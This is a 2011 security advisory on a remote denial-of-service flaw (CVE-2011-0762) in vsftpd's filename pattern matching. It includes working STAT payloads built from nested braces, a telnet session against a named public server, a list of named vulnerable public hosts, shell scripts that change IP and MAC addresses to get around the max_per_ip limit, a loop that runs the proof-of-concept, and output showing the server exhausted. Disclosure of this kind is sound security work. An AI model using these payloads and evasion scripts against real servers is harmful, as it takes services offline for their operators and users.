Vsftpd 2.3.2 Denial Of Service

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[ vsftpd 2.3.2 remote denial-of-service ]  
  
Author: Maksymilian Arciemowicz  
http://securityreason.com/  
http://cxib.net/  
Date:  
- - Dis.: 23.12.2010  
- - Pub.: 01.03.2011  
  
CVE: CVE-2011-0762  
CERT: VU#590604  
  
Fix: vsftpd 2.3.4 (15.02.2011)  
  
Affected Software (verified):  
- - vsftpd 2.3.2 (NetBSD 5.1)  
- - vsftpd 2.3.0 (Ubuntu 10.10)  
  
Affected Servers (19.02.2011):  
- - ftp.gnu.org (2.0.6)  
- - ftp.kernel.org (2.2.2)  
- - ftpgen.wip4.adobe.com (2.3.2)  
- - ftp.oracle.com (2.0.5)  
- - ftp.freebsd.org (2.2.0)  
- - more more more...  
  
Original URL:  
http://securityreason.com/achievement_securityalert/95  
  
  
- --- 0.Description ---  
vsftpd is a GPL licensed FTP server for UNIX systems, including Linux.  
It is secure and extremely fast. It is stable. Don't take my word for  
it, though. Below, we will see evidence supporting all three assertions.  
We will also see a list of a few important sites which are happily using  
vsftpd. This demonstrates vsftpd is a mature and trusted solution.  
  
  
- --- 1. vsftpd 2.3.2 remote denial-of-service ---  
As we can read in "ls.c" vsftpd file...  
  
- ---  
...  
* parsing and handling. There is broad potential for any given fnmatch(3)  
* implementation to be buggy.  
*  
* Currently supported pattern(s):  
* - any number of wildcards, "*" or "?"  
* - {,} syntax (not nested)  
...  
- ---  
  
That true but anyone who has changed ftpd bsd daemon to vsftpd to  
protect before CVE-2010-2632 (glob(3) resource exhaustion) are in  
danger. Any code with huge complexity, could allow of denial of service  
if an affected system received vulnerable pattern. This bug allow to  
disable wide range of servers. To designate vulnerable servers, we have  
to used pattern with medium complexity.  
  
- -Example affected server---  
cx@cx64:~$ telnet ftp.gnu.org 21  
Trying 140.186.70.20...  
Connected to ftp.gnu.org.  
Escape character is '^]'.  
220 GNU FTP server ready.  
USER anonymous  
PASS [email protected]  
STAT {{*},....}  
...  
230 Login successful.  
230 Already logged in.  
213-Status follows:  
  
- -Example affected server---  
  
Execution time may have wide range depending on the length of pattern:  
empty 2388 97.3 0.0 37980 1352 ? R Dec23 222:42  
/usr/sbin/vsftpd  
  
222m and counting...  
  
so any next {{*},Recursion} will increment the complexity. Let's see  
what is wrong and where. In vsftpd the main problem exists in ls.c.  
  
- -ls.c--  
int  
vsf_filename_passes_filter(const struct mystr* p_filename_str,  
const struct mystr* p_filter_str)  
{  
...  
else if (last_token == '{')  
{  
struct str_locate_result end_brace =  
str_locate_char(&filter_remain_str, '}');  
must_match_at_current_pos = 1;  
if (end_brace.found)  
{  
str_split_char(&filter_remain_str, &temp_str, '}');  
str_copy(&brace_list_str, &filter_remain_str);  
str_copy(&filter_remain_str, &temp_str);  
str_split_char(&brace_list_str, &temp_str, ',');  
while (!str_isempty(&brace_list_str))  
{  
str_copy(&new_filter_str, &brace_list_str);  
str_append_str(&new_filter_str, &filter_remain_str);  
if (vsf_filename_passes_filter(&name_remain_str,  
&new_filter_str)) <===== LIMIT THIS CALL  
{  
ret = 1;  
...  
- -ls.c--  
  
Code:  
if (vsf_filename_passes_filter(&name_remain_str, &new_filter_str))  
<===== LIMIT THIS CALL  
  
this call should be limited, and in version 2.3.4 has been fixed.  
  
A simple way to show growth in computing power ...  
(1*2*3*4*...*count(vsf_filename_passes_filter complexity)) ==  
count(vsf_filename_passes_filter complexity)!  
  
Compare two patterns and see different between  
  
STAT  
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}  
  
and add next {*,...}  
  
STAT  
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}  
  
and in the end, compare:  
STAT  
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}  
  
hovever in vsftpd, command lenght is allowed to 4096 bytes. So it's no  
problem to create request with a huge complexity  
  
To bypass max_per_ip, use ISP with dynamic ip. Disconnect and connect  
(example for bt mobile phone):  
  
cx@cx64:~$ hciconfig hci0 down  
cx@cx64:~$ hciconfig hci0 up  
  
and connect again.  
  
- ---PoC---  
Download vspoc232.c and compile, then create some script to changing  
your ip (netbsd51: pcn0)  
  
- -change.sh; change ip by mac(local dos)---  
#!/bin/sh  
# example change ip script  
ifconfig pcn0 down  
/etc/rc.d/dhclient stop  
ifconfig pcn0 link 00:0c:0c:0c:$1:$2 active  
dhclient pcn0  
/etc/rc.d/dhclient start  
ifconfig pcn0 up  
- -change.sh; change ip by mac(local dos)---  
  
or use mobile phone via bluetooth.  
  
- -change.sh; conn-diss bt---  
#!/bin/sh  
# example change ip script  
hciconfig hci0 down  
hciconfig hci0 up  
- -change.sh; conn-diss bt---  
  
then run.sh  
  
- -run.sh---  
#!/bin/sh  
# vsftpd exploit with change ip option  
# sh run.sh [ip] [port] [user] [password]  
  
mac=0;  
echo "vsftpd exploit";  
while [ $mac != 0xff ]; do {  
mac=`expr $mac + 1`;  
./vspoc232 $1 $2 $3 $4  
sh ./change.sh 66 $mac  
} done  
- -run.sh---  
  
then run and see result  
  
sh ./run.sh 172.5.0.129 21 cx pass  
  
on my local netbsd5.1 (default instalation), we reach to limit and no  
more new processes (DoS).  
  
Result (forked dos):  
cx@cx64:~$  
  
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND  
...  
root 149 0.0 0.1 2932 1152 ? Is 2:31AM 0:00.01 vsftpd  
/usr/pkg/e  
cx 150 0.0 0.2 2956 1592 ? R 2:32AM 0:01.22 vsftpd  
/usr/pkg/e  
cx 160 0.3 0.2 2956 1592 ? R 2:31AM 0:01.48 vsftpd  
/usr/pkg/e  
cx 161 0.2 0.2 2956 1592 ? R 2:32AM 0:01.03 vsftpd  
/usr/pkg/e  
root 258 0.0 0.1 2932 1152 ? Is 2:32AM 0:00.01 vsftpd  
/usr/pkg/e  
root 278 0.0 0.1 2932 1152 ? Is 2:32AM 0:00.02 vsftpd  
/usr/pkg/e  
cx 289 0.0 0.2 2956 1592 ? R 2:32AM 0:00.97 vsftpd  
/usr/pkg/e  
cx 321 0.0 0.2 2956 1592 ? R 2:32AM 0:00.85 vsftpd  
/usr/pkg/e  
...  
root 5139 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd  
/usr/pkg/e  
root 5145 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.02 vsftpd  
/usr/pkg/e  
root 5156 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd  
/usr/pkg/e  
root 5159 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd  
/usr/pkg/e  
cx 5170 0.0 0.2 2956 1608 ? R 2:35AM 0:00.44 vsftpd  
/usr/pkg/e  
root 5190 0.0 0.1 2932 1168 ? Is 2:35AM 0:00.01 vsftpd  
/usr/pkg/e  
cx 5192 0.0 0.2 2956 1612 ? R 2:35AM 0:00.39 vsftpd  
/usr/pkg/e  
cx 5242 0.0 0.2 2956 1612 ? R 2:35AM 0:00.39 vsftpd  
/usr/pkg/e  
cx 5250 0.0 0.2 2956 1612 ? R 2:35AM 0:00.49 vsftpd  
/usr/pkg/e  
root 7199 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd  
/usr/pkg/e  
cx 7248 0.0 0.2 2956 1612 ? R 2:35AM 0:00.63 vsftpd  
/usr/pkg/e  
root 7256 0.0 0.1 2932 1168 ? Is 2:35AM 0:00.01 vsftpd  
/usr/pkg/e  
root 7276 0.0 0.1 2932 1168 ? Is 2:35AM 0:00.01 vsftpd  
/usr/pkg/e  
  
bypassing max_per_ip we have created more than 5000 vsftdp children  
processes.  
  
cx@cx64:~$ telnet 172.5.0.129 21  
Trying 172.5.0.129...  
Connected to 172.5.0.129.  
Escape character is '^]'.  
500 OOPS: fork  
Connection closed by foreign host.  
  
  
- --- 2. Exploit ---  
http://cxib.net/stuff/vspoc232.c  
  
  
- --- 3. Fix ---  
ftp://vsftpd.beasts.org/users/cevans/untar/vsftpd-2.3.4/Changelog  
ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.4.tar.gz  
ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.4.tar.gz.asc  
  
  
- --- 4. Greets ---  
Chris Evans, sp3x, Infospec  
  
  
- --- 5. Contact ---  
Author: Maksymilian Arciemowicz [ SecurityReason.com ]  
  
Email:  
- - cxib {a\./t] securityreason [d=t} com  
  
GPG:  
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg  
  
http://securityreason.com/  
http://cxib.net/  
  
- --   
Best Regards  
pub 4096R/D6E5B530 2010-09-19  
uid Maksymilian Arciemowicz (cx) <[email protected]>  
sub 4096R/58BA663C 2010-09-19  
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